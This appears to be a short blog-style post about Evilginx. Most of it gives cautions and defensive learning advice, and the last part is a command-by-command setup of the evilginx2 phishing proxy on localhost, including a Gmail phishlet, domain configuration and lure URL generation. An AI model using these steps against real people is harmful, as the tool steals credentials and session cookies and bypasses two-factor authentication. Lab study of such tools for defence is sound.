Evil-ginx On Local host

 

Evilginx is a type of tool known as a reverse-proxy phishing framework. Conceptually, it sits between a user and a real website and relays traffic while capturing session data and credentials. Because of its ability to intercept two-factor authentication tokens and session cookies, tools in this class are highly effective for targeted credential theft — and correspondingly, highly dangerous.

That double-edged nature is why people in cybersecurity treat Evilginx-style tools carefully. On one hand, security professionals study them to understand attack mechanics so they can build defenses and detect abuse. 

If your interest is legitimate — for example, you want to learn how attackers operate so you can defend systems — there are responsible ways to do that:

1. Use Trusted Learning Platforms: Environments such as TryHackMe, Hack The Box, and OWASP Juice Shop let you practice offensive and defensive techniques legally in isolated, gamified challenges. They teach how attacks work and how to detect or mitigate them without harming real users.

2. Run a Controlled Lab: Build a local lab using virtual machines or Docker containers. Isolate the environment from the public internet and only use test accounts you own. In a lab you can explore web proxies, traffic inspection (with tools like Burp Suite or OWASP ZAP), and reverse-proxy concepts — without capturing real credentials.

3. Phishing Simulations for Training: For defensive/security awareness purposes, use tools designed for authorized phishing simulations (e.g., GoPhish). These platforms help organizations teach users to spot phishing and measure awareness — but must only be used with explicit consent and proper policies in place.

4. Focus on Detection & Hardening: Learn detection signals (anomalous login patterns, unusual cookie usage), how to implement secure authentication (OAuth, WebAuthn), and how to protect users: enforce strong 2FA (hardware tokens or authenticator apps), monitor for compromised session tokens, implement certificate pinning where appropriate, and apply rate-limiting and anomaly detection.

5. Study Responsible Research & Disclosure: If you discover a vulnerability, follow coordinated disclosure best practices. Report it to the vendor, avoid public exploitation, and work with security teams to fix issues.

sudo apt install evilginx2

evilginx2 -h

cd /usr/share/evilginx2/phishlets

sudo nano /etc/hosts

add 127.0.0.1 and the name of the phishing domain to use

add your own phishlet : touch gmail.yaml

watch for phish_sub end points and add to your sudo nano /etc/hosts file

sudo evilginx2 --developer

config domain example.com

config ipv4 127.0.0.1

phishlets hostname phishlet_name example.com

phishlets enable phishlet_name

lures create phishlet_name

lures get-url 2